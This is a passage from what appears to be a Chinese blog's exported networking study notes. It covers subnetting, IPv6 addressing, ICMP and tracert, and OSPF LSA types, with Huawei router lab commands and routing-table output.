192.168.1.160/27192.168.1.110 00000 192.168.1.192/27192.168.1.111 00000 192.168.1.224/27广播地址192.168.1.000 11111 /27192.168.1.001 11111 /27192.168.1.010 11111 /27192.168.1.011 11111 /27192.168.1.100 11111 /27192.168.1.101 11111 /27192.168.1.110 11111 /27192.168.1.111 11111 /27 [例] 某公司 4 个部门, 每个部门最多 36 人192.168.10.0 / 24 (主机位 8)划分出合适的网络掩码网络号子网数目 2^h-2>=36h>=6n=2子网数目 2^2=4掩码255.255.255.11 000000255.255.255.192网络号192.168.10.00 000000 192.168.10.0/26192.168.10.01 000000 192.168.10.64/26192.168.10.10 000000 192.168.10.128/26192.168.10.11 000000 192.168.10.192/26 IP 编址一个网络内拥有的 IP 地址数量为 (代表主机位位数). 因为网络号和广播地址不可以配置在设备上, 所以实际可用主机地址数为 . 如果两个 IP 地址的网络位相同, 则这两个地址属于同一个网络, 可以不通过网关设备或路由器直接通信. 如果两个 IP 地址的网络位不同, 则需要借助网关设备和路由器进行通信. 使用默认掩码的就是有类地址. 无类地址就是经过子网划分的 IP 地址. VLSM: 可变长子网掩码. 子网掩码变长, 主机位变少, 就会变少, 主机数目减少, 避免地址浪费. 主机位长度缩减, 网络位就会增加. 一个子网位能分出两个子网 ( 是子网位位数). CIDR: 无类域间路由 (VLSM 逆运算) 子网掩码除了 VLSM 以外, 还可以变短进行网络信息的汇总, 这种操作方式就是 CIDR. 将不同网络的网络号中共同发生变化的位置当作主机位进行处理, 之后对外发布, 起到节省设备资源的作用."},{"title":"","date":"2024-04-07T03:00:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/datacom/29.html","permalink":"https://blog.mhuig.top/notes/datacom/29","excerpt":"","text":"IPv6 IPv6 IPv4IPv4: 互联网协议版本 4, 工作在网络层, 用于分配逻辑地址, 在网络层进行逻辑寻址 IPv4 协议的缺点: IPv4 地址枯竭. 报文头部设计不合理, 因为报文头部长度不是定长. IPv4 协议过度依赖 ARP 协议, 导致在网络中广播报文过度泛滥. 32bit 2^32=4E9 延缓 IPv4 地址枯竭的方式: NAT: 由于可以实现多个私网地址共用一个公网地址, 极大程度上延缓了 IPv4 公网地址的消耗 VLSM,CIDR,DHCP: 虽然无法增加 IPv4 地址的空间, 但是提高了 IPv4 地址的使用率 IPv6 特点近乎无限的地址空间: 从 IPv4 的 32bit 增加到了 128bit. 简化了报文头部: 现在 IPv6 报文头部是固定长度, 从而提高了设备的处理效率, 并且增加了灵活的扩展头机制, 从而提高了 IPv6 的扩展性. 即插即用: 配置 IPv6 的方式更加简单, 并且可以实现设备之间的自动配置. 增强了 QoS 特性: 增加了流标记域, 可以为应用程序或者终端所使用, 针对特殊的服务和数据流, 分配特定的资源. IPv6 地址1 个十进制数 =>8bit 1 个十六进制数 =>4bit IPv6 地址: 长度为 128bit, 为了方便书写, 使用十六进制进行表示, 每四个十六进制数为一段, 共分为 8 段, 并且用冒号隔开, 这种表示方法称之为 \"冒号分十六进制表示法\". IPv6 地址包括两部分: 网络前缀: 类似于 IPv4 中的网络位 接口标识: 类似于 IPv4 中的主机位 并且在使用 IPv6 地址时, 也会用 \"/xx\" 来表示该 IPv6 地址的网络前缀, 类似于子网掩码的作用. IPv6 地址缩写2001:0db8:0000:0000:0008:0800:200c:417a 第一步: 每段内如果以数字 0 开头, 则 0 可以省略. 2001:db8:0000:0000:8:800:200c:417a 第二步: 如果该段为 0000, 则可以简写成一个 0. 2001:db8:0:0:8:800:200c:417a 第三步: 如果在 IPv6 地址中出现了连续的多个 0, 则可以简写成 \"::\". 2001:db8::8:800:200c:417a 注意: \"::\",双冒号的表示方法在 IPv6 地址缩写中只能使用一次. 2001:0db8:0000:0000:0000:0008:0000:00002001:db8::8:: ????2001:0db8::8:0:00000:0000:0000:0000:0000:0000:0000:0001::12001:0DB8:0000:0000:FB00:1400:5000:45FF2001:DB8::FB00:1400:5000:45FF2001:0DB8:0000:0000:0000:2A2A:0000:00012001:DB8::2A2A:0:12001:0DB8:0000:1234:FB00:0000:5000:45FF2001:DB8::1234:FB00:0:5000:45FF2001:DB8:0:1234:FB00::5000:45FF IPv6 地址分类IPv6 地址的分类: IPv6 中没有广播地址 单播地址: 表示配置的设备接口的 IPv6 地址, 用于指导报文发往某一设备. 组播地址: 表示一组 IPv6 设备, 用于 IPv6 的组播通信. 任播地址: 表示具备相同服务的设备, 该组设备可以配置相同的任播地址, 任播地址采用和单播地址相同的地址空间. 并且任播地址只能作为目的地址使用, 不能作为源地址使用. IPv6 的单播地址全球单播地址: 全球范围唯一, 类似于 IPv4 中的公网地址, 可以用于 IPv6 的互联网所使用. 前 3bit 固定为 001 开头, 2000::/3 0x0010=2 0x0011=3 45bit 全局路由前缀: 是由运营商进行分配. 16bit 的子网 ID: 用于企业内部分配子网. 唯一本地地址: 是 IPv6 中的私网地址, 只能够在内网中使用, 该地址不可以被公网路由, 因此不能直接访问公网. 前 8bit 固定为 1111 1101, FD00::/8 40bit 的全局 ID: 通过伪随机数产生, 虽然是通过随机产生, 但是冲突概率很低. 16bit 的子网 ID: 用于企业内部分配子网. 链路本地地址: 在 IPv4 中没有对应的概念, 是一种应用范围受限制的地址类型, 链路本地地址只在本地链路内生效, 源或者目的为链路本地地址的数据不会被转发到另一条链路上, 一般用于基于 IPv6 工作的协议使用的, 例如, IPv6 的邻居发现, IPv6 地址无状态自动配置等 前 10bit 固定为 1111 1110 10, FE80::/10 54bit 固定为 0 实验 - IPv6 静态路由1. 使能 IPv6 功能 系统视图下 [R1]ipv6 2. 在接口下使能 IPv6 功能 interface GigabitEthernet0/0/0 ipv6 enable ipv6 address 2001::1/64 查看 IPv6 路由表 display ipv6 routing-table 查看接口的 IPv6 协议摘要信息 (查看接口的 IPv6 地址) display ipv6 interface brief 3. 配置静态路由实现全网互通 [R1]ipv6 route-static 2002:: 64 2001::2[R3]ipv6 route-static 2001:: 64 2002::1 4. 进行连通性测试 [R1]ping ipv6 2002::2 链路本地地址的自动生成方式:采用 EUI-64 算法生成, EUI-64 算法根据设备的唯一硬件地址 (MAC 地址),生成全球唯一的 64bit 的接口 ID, 从而配置网络前缀得到一个唯一的链路本地地址. 计算规则: 1. 将 MAC 地址从最中间隔开, 插入 FFFE. 2. 将 MAC 地址的第 7bit 进行反转. 00e0-fcf0-1886 1. 插入 FFFE 00e0-fcff-fef0-1886 2. 第 7bit 进行反转 0 0 e 00000 0000 e 00000 0010 e 0 0 2 e 0 3.FE80::前缀 FE80::02e0:fcff:fef0:1886 实验 - 链路本地地址interface GigabitEthernet0/0/0 ipv6 enable ipv6 address auto link-local[R1]display ipv6 interface brief*down: administratively down(l): loopback(s): spoofingInterface Physical Protocol GigabitEthernet0/0/0 up up [IPv6 Address] FE80::2E0:FCFF:FE98:3F54[R1]ipv6 route-static :: 0 GigabitEthernet 0/0/0[R1]ping ipv6 FE80::2E0:FCFF:FE24:6CBA -i GigabitEthernet 0/0/0[R1]ping ipv6 FE80::2E0:FCFF:FE24:6CBB -i GigabitEthernet 0/0/0"},{"title":"","date":"2023-12-12T07:45:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/datacom/7.html","permalink":"https://blog.mhuig.top/notes/datacom/7","excerpt":"","text":"ICMP 协议 ICMP 协议 ICMPRFC 792 ICMP: 网络控制消息协议, 协议号 1, 是一个网络层协议. 用于在网络中传递差错和控制消息的协议. ICMP 报文格式 TYPE: 类型, 8bit, 表示 ICMP 消息类型. Code: 值, 8bit, 表示消息类型中的不同信息. Checksum: 校验和, 16bit, (只校验 ICMP 数据包). Ethernet_II Header Type=0x0800 IP IP Header Protocol=1 ICMP 差错检测ICMP Echo Request (ICMP 请求消息) Type 8 Code 0 ICMP Echo Reply (ICMP 回应消息) Type 0 Code 0 使用 ICMP 协议设备会发送一个 ICMP Echo Request 消息, 当对方设备收到该消息时, 会回应一个 ICMP Echo Reply 消息, 只要发送请求消息的设备收到了对应的 ICMP Echo Reply, 则认为网络可以通信. ICMP 消息类型和编码类型 不可达消息类型 Type = 3 code = 0 网络不可达 Type = 3 code = 1 主机不可达 Type = 3 code = 2 协议不可达 Type = 3 code = 3 端口不可达 ping 应用>ping 192.168.1.6正在 Ping 192.168.1.6 具有 32 字节的数据:来自 192.168.1.6 的回复: 字节=32 时间=82ms TTL=248来自 192.168.1.6 的回复: 字节=32 时间=49ms TTL=248来自 192.168.1.6 的回复: 字节=32 时间=48ms TTL=248来自 192.168.1.6 的回复: 字节=32 时间=283ms TTL=248192.168.1.6 的 Ping 统计信息: 数据包: 已发送 = 4, 已接收 = 4, 丢失 = 0 (0% 丢失), 往返行程的估计时间(以毫秒为单位): 最短 = 48ms, 最长 = 283ms, 平均 = 115ms ICMP 重定向数据包控制 ICMP 重定向是 ICMP 控制报文的一种, 当网关设备从接口收到用户数据后, 如果数据的出口与入接口相同, 则网关设备会向用户发送一个 ICMP 重定向报文, 用于通知用户将目的地址下一跳直接设置为最优路径, 从而优化用户数据转发. 然而, 需要注意的是, 由于安全性和潜在的攻击风险, 许多网络管理员会禁用或限制 ICMP 重定向消息的传输. 这是因为恶意用户可能利用 ICMP 重定向来欺骗主机, 导致数据包被发送到错误的路径上. Tracert 应用>tracert baidu.com通过最多 30 个跃点跟踪到 baidu.com [11x.xx.xx.66] 的路由: 1 6 ms 4 ms 2 ms H3C [192.168.20.1] 2 * * * 请求超时。 3 27 ms 3 ms 28 ms 22x.xx.xx.1 4 6 ms 9 ms 33 ms 11x.xx.xx.5 5 * * * 请求超时。 6 25 ms * 21 ms 22x.xx.xx.229 7 * * * 请求超时。 8 23 ms 28 ms * 22x.xx.xx.62 9 26 ms * * 21x.xx.xx.189 10 30 ms 26 ms * 21x.xx.xx.170 11 52 ms 34 ms 50 ms 11x.xx.xx.162 12 124 ms 45 ms 37 ms 22x.xx.xx.134 13 * * * 请求超时。 14 * * * 请求超时。 15 * * * 请求超时。 16 * * * 请求超时。 17 27 ms 26 ms 31 ms 11x.xx.xx.66跟踪完成。 Tracert: 路径追踪, 基于 ICMP 的另一种工具, 可以显示报文到达目的地的路径, 检测网络丢包以及时延的有效手段, 同时可以帮助管理员发现网络中的环路. 基于 IP 报文头中的 TTL 字段来逐跳追踪报文的转发路径, 并且返回数据报文达到目的主机的路径详细信息, 显示每个路径所消耗的时间. 工作原理 源端设备将 TTL 值设置为 1, 该报文到达第一个节点后, TTL 超时, 于是该节点向源端点发送一个 TTL 超时消息, 该消息携带了该设备的 IP 地址和到达该设备使用的时间. 源端设备将 TTL 值设置为 2, 该报文到达第二个节点后, TTL 超时, 于是该节点向源端点发送一个 TTL 超时消息, 该消息携带了该设备的 IP 地址和到达该设备使用的时间. 反复此过程, 直到报文到达目的地. 最后一个设备 应用层发数据时将 UDP 设置特别大目的端口值 到达目的地返回端口不可达."},{"title":"","date":"2024-02-19T02:00:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/datacom/22.html","permalink":"https://blog.mhuig.top/notes/datacom/22","excerpt":"","text":"OSPF 路由计算 OSPF 路由计算 OSPF 路由计算每台 OSPF 设备生成自己的 LSA 信息, 通过建立邻接关系, 与直连设备交互 LSA, 最终在区域内泛洪 LSA 信息, 形成完整的 LSDB. 通过 SPF 算法计算到达每个节点的最优路径, 将最优的信息加入到路由表中. 常见的 LSA常见的 LSA 有 5 种: Router-LSA Network-LSA Network-summary-LSA ASBR-summary-LSA AS-External-LSA 区域内部计算: 1 类 2 类 区域间计算: 3 类 区域外部计算: 4 类 5 类 LSA 头部字段信息 LS Age: 表示 LSA 已经生存的时间, 单位秒, 最大老化时间 3600s, 更新时间 1800s. (有一个新的 LSA 去顶替旧的 LSA 会强制老化 3600s) Option: 可选项 LS type: 链路状态类型, 标识 LSA 的类型 LS ID: 链路状态 ID, 用于标识特定的 LSA 信息, 在不同的 LSA 中, LS ID 的意义不同 Adv Router: 标识生成该 LSA 的 OSPF 设备, 生成该 LSA 设备的 RID. Seq: 序列号, 每当产生新的 LSA 时, 序列号会增加, 通过序列号可以判断 LSA 的新旧. Checksum: 校验和, 用于校验报文的完整性, 防止被篡改 Length: LSA 的总长度. LSA 类型LSA1: Router LSA (路由器 LSA),每台 OSPF 设备都会生成, 描述了该设备在本区域所连接的网络和节点信息, 只能在本区域内传递, 不能跨区域 LSA2: Network LSA (网络 LSA),由 DR 生成, 用于描述广播型网络和 NBMA 网络. 该 LSA 包含了该网络上所连接的路由器的列表, 只在该网络所属的区域进行泛洪. LSA3: ABR 生成, 描述本区域的一段路由信息传递到其他区域泛洪, LSA3 只在生成的区域内传递, 如果需要传入下一个区域, 需要另一个 ABR 重新计算生成新的 LSA3. LSA4: ASBR 汇总 LSA, 由 ABR 生成, 描述到某一 ASBR 的路由信息. 在 ABR 所连接的区域内泛洪 (除了描述 ASBR 所在的区域). LSA5: AS 外部 LSA, 由 ABR 生成, 描述 AS 外部某一网段的路由信息, 在整个 AS 内泛洪 (不包括特殊区域),通告 LSA5 时, 不管经过哪个路由器都不会改变. LSA7: 由 ASBR 产生，用于描述到达 OSPF 域外的路由. NSSA LSA 与 AS 外部 LSA 功能类似，但是泛洪范围不同. NSSA LSA 只能在始发的 NSSA 内泛洪，并且不能直接进入 Area0. NSSA 的 ABR 会将 7 类 LSA 转换成 5 类 LSA 注入到 Area0. Router LSA一类 LSA: LS ID: 表示生成这条 LSA 设备的 RID 一份一类 LSA 中会包含多个 link, 每个 link 描述了该设备在本区域内连接的一个网络或节点 1.P2P: OSPF 在串行链路中会使用两个 link 来描述该链路信息, 其中 stubnet link 用来描述链路的网络信息, P2P 用来描述所连接的节点信息 Link type: 链路类型 P2P Link ID: 所连接节点的 RID Link Data: 表示本设备接口的 IP 地址 Metric: 度量值, 表示开销 2.stubnet 表示 OSPF 设备连接到一个末节网络, 描述网络信息 Link type: 链路类型 stubnet Link ID: 表示该设备所连接的网络号 Link Data: 表示该设备所连接的网络掩码 Metric: 表示到达此网络的开销 3.transnet: 描述了 OSPF 设备到达 DR (伪节点) 的开销情况 Link ID: DR 的接口 IP 地址 Link Data: 该设备接口 IP 地址 Metric: 表示到达 DR (伪节点) 的开销 Shell查看 LSDB 表 [R1]display ospf lsdb OSPF Process 1 with Router ID 1.1.1.1 Link State Database Area: 0.0.0.0 Type LinkState ID AdvRouter Age Len Sequence Metric Router 2.2.2.2 2.2.2.2 312 48 80000006 0 Router 1.1.1.1 1.1.1.1 311 48 80000007 0 Router 3.3.3.3 3.3.3.3 311 48 80000006 0 Network 123.1.1.1 1.1.1.1 311 36 80000003 0 查看产生的 LSA 的详细信息 [R1]display ospf lsdb router OSPF Process 1 with Router ID 1.1.1.1 Area: 0.0.0.0 Link State Database Type : Router Ls id : 4.4.4.4 Adv rtr : 4.4.4.4 Ls age : 66 Len : 60 Options : E seq# : 80000004 chksum : 0xcdab Link count: 3 * Link ID: 1.1.1.1 Data : 14.1.1.4 Link Type: P-2-P Metric : 48 * Link ID: 14.1.1.0 Data : 255.255.255.0 Link Type: StubNet Metric : 48 Priority : Low * Link ID: 4.4.4.4 Data : 255.255.255.255 Link Type: StubNet Metric : 0 Priority : Medium Type : Router Ls id : 2.2.2.2 Adv rtr : 2.2.2.2 Ls age : 292 Len : 48 Options : E seq# : 8000000f chksum : 0xc954 Link count: 2 * Link ID: 2.2.2.2 Data : 255.255.255.255 Link Type: StubNet Metric : 0 Priority : Medium * Link ID: 123.1.1.2 Data : 123.1.1.2 Link Type: TransNet Metric : 1 Type : Router Ls id : 1.1.1.1 Adv rtr : 1.1.1.1 Ls age : 66 Len : 72 Options : E seq# : 80000011 chksum : 0x4831 Link count: 4 * Link ID: 123.1.1.2 Data : 123.1.1.1 Link Type: TransNet Metric : 1 * Link ID: 1.1.1.1 Data : 255.255.255.255 Link Type: StubNet Metric : 0 Priority : Medium * Link ID: 4.4.4.4 Data : 14.1.1.1 Link Type: P-2-P Metric : 48 * Link ID: 14.1.1.0 Data : 255.255.255.0 Link Type: StubNet Metric : 48 Priority : Low Type : Router Ls id : 3.3.3.3 Adv rtr : 3.3.3.3 Ls age : 299 Len : 48 Options : E seq# : 8000000f chksum : 0xb957 Link count: 2 * Link ID: 3.3.3.3 Data : 255.255.255.255 Link Type: StubNet Metric : 0 Priority : Medium * Link ID: 123.1.1.2 Data : 123.1.1.3 Link Type: TransNet Metric : 1 Network LSA二类 LSA: LS ID: DR 的接口 IP 地址 Network mask: 网络掩码信息 ATT Router: 连接到该 MA 网络的路由器的 RID, 包括 DR 的 RID [R1]dis ospf lsdb network OSPF Process 1 with Router ID 1.1.1.1 Area: 0.0.0.0 Link State Database Type : Network Ls id : 123.1.1.2 Adv rtr : 2.2.2.2 Ls age : 1112 Len : 36 Options : E seq# : 8000000e chksum : 0xffa9 Net mask : 255.255.255.0 Priority : Low Attached Router 2.2.2.2 Attached Router 1.1.1.1 Attached Router 3.3.3.3 区域间路由计算OSPF 只能在区域内传递 LSA1,LSA2, 所以在区域间 ABR 设备会将路由表中的路由信息以 LSA3 的形式传入到其他区域, 从而让其他区域的路由器可以计算相应的路由信息. Network summary LSALSA3: 每个 3 类 LSA 实际上就是一个网络信息, ABR 将路由信息转换成 LSA3 并且描述到达网络的开销, 其他的 OSPF 设备根据 LSA3 以及自身到达 ABR 的开销值, 计算得到区域间路由, LSA3 只在生成的区域内传递, 如果需要传入下一个区域, 需要另一个 ABR 重新计算生成 LSA3. LS ID: 所描述的网络信息的网络号 Network Mask 该网络信息的掩码 Metric: 开销 区域间路由防环机制1.OSPF 要求所有的非骨干区域必须与 Area0 直接相连, 区域间路由需经由 Area0 中转。 区域间的路由传递不能发生在两个非骨干区域之间, 这使得 OSPF 的区域架构在逻辑上形成了一个类似星型的拓扑 2.ABR 不会将描述到达某个区域内网段路由的 3 类 LSA 再注入回该区域 3.ABR 从非骨干区域收到的 3 类 LSA 不能用于区域间路由的计算。 AS External LSALSA5: LS ID: 所描述外部网络的网络号 Network Mask: 网络掩码 Metric: 外部开销值, 表示 ASBR 到达外部网络的开销 E TYPE: 外部路由类型 TYPE 1: 在 OSPF 域内计算时, 会累加内部开销和外部开销 TYPE 2: 在 OSPF 域内计算时, 只显示外部路由开销, 不累加 OSPF 内部开销 (缺省类型为 TYPE 2) FA: 转发地址, 用于 OSPF 外部路由器的路径调优. TAG: 默认值 1, 给传递的路由信息打上标签, 主要用于控制外部路由的传递 ASBR Summary LSALSA4: LS ID: 所描述 ASBR 的 RID Metric: 度量值, 描述生成该 LSA 设备到达 ASBR 的开销 LSA4 中没有掩码信息 LSA4 的传递规则和 LSA3 一致, OSPF 域间防环规则同样适用于 LSA4. Shell[R5]ip route-static 7.7.7.7 32 57.1.1.7[R7]ip route-static 0.0.0.0 0 57.1.1.5<R2>ping 7.7.7.7 PING 7.7.7.7: 56 data bytes, press CTRL_C to break Request time out Request time out Request time out Request time out Request time out --- 7.7.7.7 ping statistics --- 5 packet(s) transmitted 0 packet(s) received 100.00% packet loss[R5-ospf-1]import-route ? bgp Border Gateway Protocol (BGP) routes direct Connected routes isis Intermediate System to Intermediate System (IS-IS) routes limit Limit the number of routes imported into OSPF ospf Open Shortest Path First (OSPF) routes rip Routing Information Protocol (RIP) routes static Static routes unr User Network Routes// 引入外部路由[R5-ospf-1]import-route static <R2>ping 7.7.7.7 PING 7.7.7.7: 56 data bytes, press CTRL_C to break Reply from 7.7.7.7: bytes=56 Sequence=1 ttl=254 time=110 ms Reply from 7.7.7.7: bytes=56 Sequence=2 ttl=254 time=140 ms Reply from 7.7.7.7: bytes=56 Sequence=3 ttl=254 time=120 ms Reply from 7.7.7.7: bytes=56 Sequence=4 ttl=254 time=40 ms Reply from 7.7.7.7: bytes=56 Sequence=5 ttl=254 time=30 ms --- 7.7.7.7 ping statistics --- 5 packet(s) transmitted 5 packet(s) received 0.00% packet loss round-trip min/avg/max = 30/88/140 ms[R5]display ospf lsdb ase OSPF Process 1 with Router ID 5.5.5.5 Link State Database Type : External Ls id : 7.7.7.7 Adv rtr : 5.5.5.5 Ls age : 45 Len : 36 Options : E seq# : 80000001 chksum : 0x257b Net mask : 255.255.255.255 TOS 0 Metric: 1 E type : 2 Forwarding Address : 0.0.0.0 Tag : 1 Priority : Low[R1]display ip routing-table Route Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: Public Destinations : 20 Routes : 20 Destination/Mask Proto Pre Cost Flags NextHop Interface 1.1.1.1/32 Direct 0 0 D 127.0.0.1 LoopBack0 2.2.2.2/32 OSPF 10 1 D 123.1.1.2 GigabitEthernet0/0/0 3.3.3.3/32 OSPF 10 1 D 123.1.1.3 GigabitEthernet0/0/0 4.4.4.4/32 OSPF 10 48 D 14.1.1.4 Serial4/0/0 5.5.5.5/32 OSPF 10 2 D 123.1.1.2 GigabitEthernet0/0/0 6.6.6.6/32 OSPF 10 49 D 14.1.1.4 Serial4/0/0 7.7.7.7/32 O_ASE 150 1 D 123.1.1.2 GigabitEthernet0/0/0 14.1.1.0/24 Direct 0 0 D 14.1.1.1 Serial4/0/0 14.1.1.1/32 Direct 0 0 D 127.0.0.1 Serial4/0/0 14.1.1.4/32 Direct 0 0 D 14.1.1.4 Serial4/0/0 14.1.1.255/32 Direct 0 0 D 127.0.0.1 Serial4/0/0 25.1.1.0/24 OSPF 10 2 D 123.1.1.2 GigabitEthernet0/0/0 46.1.1.0/24 OSPF 10 49 D 14.1.1.4 Serial4/0/0 123.1.1.0/24 Direct 0 0 D 123.1.1.1 GigabitEthernet0/0/0 123.1.1.1/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 123.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0 127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0127.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0255.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0---------[R5]ospf[R5-ospf-1]dis th[V200R003C00]#ospf 1 router-id 5.5.5.5 import-route static area 0.0.0.2 network 5.5.5.5 0.0.0.0 network 25.1.1.5 0.0.0.0 #return[R5-ospf-1]undo import-route static[R5-ospf-1]import-route static ? cost Set cost route-policy Route policy tag Specify route tag type Metric type of the imported external routes <cr> Please press ENTER to execute command [R5-ospf-1]import-route static type 1[R5-ospf-1]dis th[V200R003C00]#ospf 1 router-id 5.5.5.5 import-route static type 1 area 0.0.0.2 network 5.5.5.5 0.0.0.0 network 25.1.1.5 0.0.0.0 #return[R1]display ip routing-table Route Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: Public Destinations : 20 Routes : 20 Destination/Mask Proto Pre Cost Flags NextHop Interface 1.1.1.1/32 Direct 0 0 D 127.0.0.1 LoopBack0 2.2.2.2/32 OSPF 10 1 D 123.1.1.2 GigabitEthernet0/0/0 3.3.3.3/32 OSPF 10 1 D 123.1.1.3 GigabitEthernet0/0/0 4.4.4.4/32 OSPF 10 48 D 14.1.1.4 Serial4/0/0 5.5.5.5/32 OSPF 10 2 D 123.1.1.2 GigabitEthernet0/0/0 6.6.6.6/32 OSPF 10 49 D 14.1.1.4 Serial4/0/0 7.7.7.7/32 O_ASE 150 3 D 123.1.1.2 GigabitEthernet0/0/0 14.1.1.0/24 Direct 0 0 D 14.1.1.1 Serial4/0/0 14.1.1.1/32 Direct 0 0 D 127.0.0.1 Serial4/0/0 14.1.1.4/32 Direct 0 0 D 14.1.1.4 Serial4/0/0 14.1.1.255/32 Direct 0 0 D 127.0.0.1 Serial4/0/0 25.1.1.0/24 OSPF 10 2 D 123.1.1.2 GigabitEthernet0/0/0 46.1.1.0/24 OSPF 10 49 D 14.1.1.4 Serial4/0/0 123.1.1.0/24 Direct 0 0 D 123.1.1.1 GigabitEthernet0/0/0 123.1.1.1/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 123.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0 127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0127.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0255.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0-------------------------[R5]ospf 1[R5-ospf-1]dis th[V200R003C00]#ospf 1 router-id 5.5.5.5 import-route static type 1 area 0.0.0.2 network 5.5.5.5 0.0.0.0 network 25.1.1.5 0.0.0.0 #return[R5-ospf-1]undo import-route static [R5-ospf-1]import-route static tag ? INTEGER<0-4294967295> Tag value[R5-ospf-1]import-route static tag 10[R5-ospf-1]dis ospf lsdb ase OSPF Process 1 with Router ID 5.5.5.5 Link State Database Type : External Ls id : 7.7.7.7 Adv rtr : 5.5.5.5 Ls age : 31 Len : 36 Options : E seq# : 80000001 chksum : 0xc7cf Net mask : 255.255.255.255 TOS 0 Metric: 1 E type : 2 Forwarding Address : 0.0.0.0 Tag : 10 Priority : Low---------------[R5-ospf-1]import-route direct [R5-ospf-1]display ip routing-tableRoute Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: Public Destinations : 20 Routes : 20 Destination/Mask Proto Pre Cost Flags NextHop Interface 1.1.1.1/32 OSPF 10 2 D 25.1.1.2 GigabitEthernet0/0/0 2.2.2.2/32 OSPF 10 1 D 25.1.1.2 GigabitEthernet0/0/0 3.3.3.3/32 OSPF 10 2 D 25.1.1.2 GigabitEthernet0/0/0 4.4.4.4/32 OSPF 10 50 D 25.1.1.2 GigabitEthernet0/0/0 5.5.5.5/32 Direct 0 0 D 127.0.0.1 LoopBack0 6.6.6.6/32 OSPF 10 51 D 25.1.1.2 GigabitEthernet0/0/0 7.7.7.7/32 Static 60 0 RD 57.1.1.7 GigabitEthernet0/0/1 14.1.1.0/24 OSPF 10 50 D 25.1.1.2 GigabitEthernet0/0/0 25.1.1.0/24 Direct 0 0 D 25.1.1.5 GigabitEthernet0/0/0 25.1.1.5/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 25.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 46.1.1.0/24 OSPF 10 51 D 25.1.1.2 GigabitEthernet0/0/0 57.1.1.0/24 Direct 0 0 D 57.1.1.5 GigabitEthernet0/0/1 57.1.1.5/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 57.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 123.1.1.0/24 OSPF 10 2 D 25.1.1.2 GigabitEthernet0/0/0 127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0 127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0127.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0255.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0 OSPF 路由选路原则域内路由 > 域间路由 > 外部路由 (TYPE1 > TYPE2)> 开销 OSPF 路由汇总3 类路由汇总 Network-summary-LSA [R6]int lo1[R6-LoopBack1]ip add 10.1.1.1 24[R6-LoopBack1]int lo2[R6-LoopBack2]ip add 10.1.2.1 24[R6-LoopBack2]int lo3[R6-LoopBack3]ip add 10.1.3.1 24[R6-LoopBack3]q[R6]ospf 1[R6-ospf-1]a 1[R6-ospf-1-area-0.0.0.1]net [R6-ospf-1-area-0.0.0.1]network 10.1.1.1 0.0.0.0[R6-ospf-1-area-0.0.0.1]network 10.1.2.1 0.0.0.0[R6-ospf-1-area-0.0.0.1]network 10.1.3.1 0.0.0.0[R6-ospf-1-area-0.0.0.1]q[R6-ospf-1]dis th[V200R003C00]#ospf 1 router-id 6.6.6.6 area 0.0.0.1 network 6.6.6.6 0.0.0.0 network 10.1.1.1 0.0.0.0 network 10.1.2.1 0.0.0.0 network 10.1.3.1 0.0.0.0 network 46.1.1.6 0.0.0.0 #return[R6-ospf-1][R4]display ospf lsdb OSPF Process 1 with Router ID 4.4.4.4 Link State Database Area: 0.0.0.0 Type LinkState ID AdvRouter Age Len Sequence Metric Router 4.4.4.4 4.4.4.4 627 60 80000008 0 Router 2.2.2.2 2.2.2.2 594 48 8000000A 1 Router 1.1.1.1 1.1.1.1 591 72 8000000F 1 Router 3.3.3.3 3.3.3.3 591 48 8000000E 1 Network 123.1.1.3 3.3.3.3 591 36 80000007 0 Sum-Net 6.6.6.6 4.4.4.4 594 28 80000003 1 Sum-Net 5.5.5.5 2.2.2.2 598 28 80000003 1 Sum-Net 46.1.1.0 4.4.4.4 632 28 80000003 1 Sum-Net 10.1.3.1 4.4.4.4 148 28 80000001 1 Sum-Net 25.1.1.0 2.2.2.2 636 28 80000003 1 Sum-Net 10.1.2.1 4.4.4.4 153 28 80000001 1 Sum-Net 10.1.1.1 4.4.4.4 157 28 80000001 1 Sum-Asbr 5.5.5.5 2.2.2.2 741 28 80000001 1 Area: 0.0.0.1 Type LinkState ID AdvRouter Age Len Sequence Metric Router 4.4.4.4 4.4.4.4 594 36 80000006 1 Router 6.6.6.6 6.6.6.6 149 84 8000000B 1 Network 46.1.1.6 6.6.6.6 585 32 80000004 0 Sum-Net 5.5.5.5 4.4.4.4 592 28 80000003 50 Sum-Net 3.3.3.3 4.4.4.4 602 28 80000003 49 Sum-Net 14.1.1.0 4.4.4.4 632 28 80000003 48 Sum-Net 123.1.1.0 4.4.4.4 602 28 80000004 49 Sum-Net 4.4.4.4 4.4.4.4 632 28 80000003 0 Sum-Net 2.2.2.2 4.4.4.4 592 28 80000003 49 Sum-Net 25.1.1.0 4.4.4.4 592 28 80000003 50 Sum-Net 1.1.1.1 4.4.4.4 626 28 80000003 48 Sum-Asbr 5.5.5.5 4.4.4.4 739 28 80000001 50 AS External Database Type LinkState ID AdvRouter Age Len Sequence Metric External 7.7.7.7 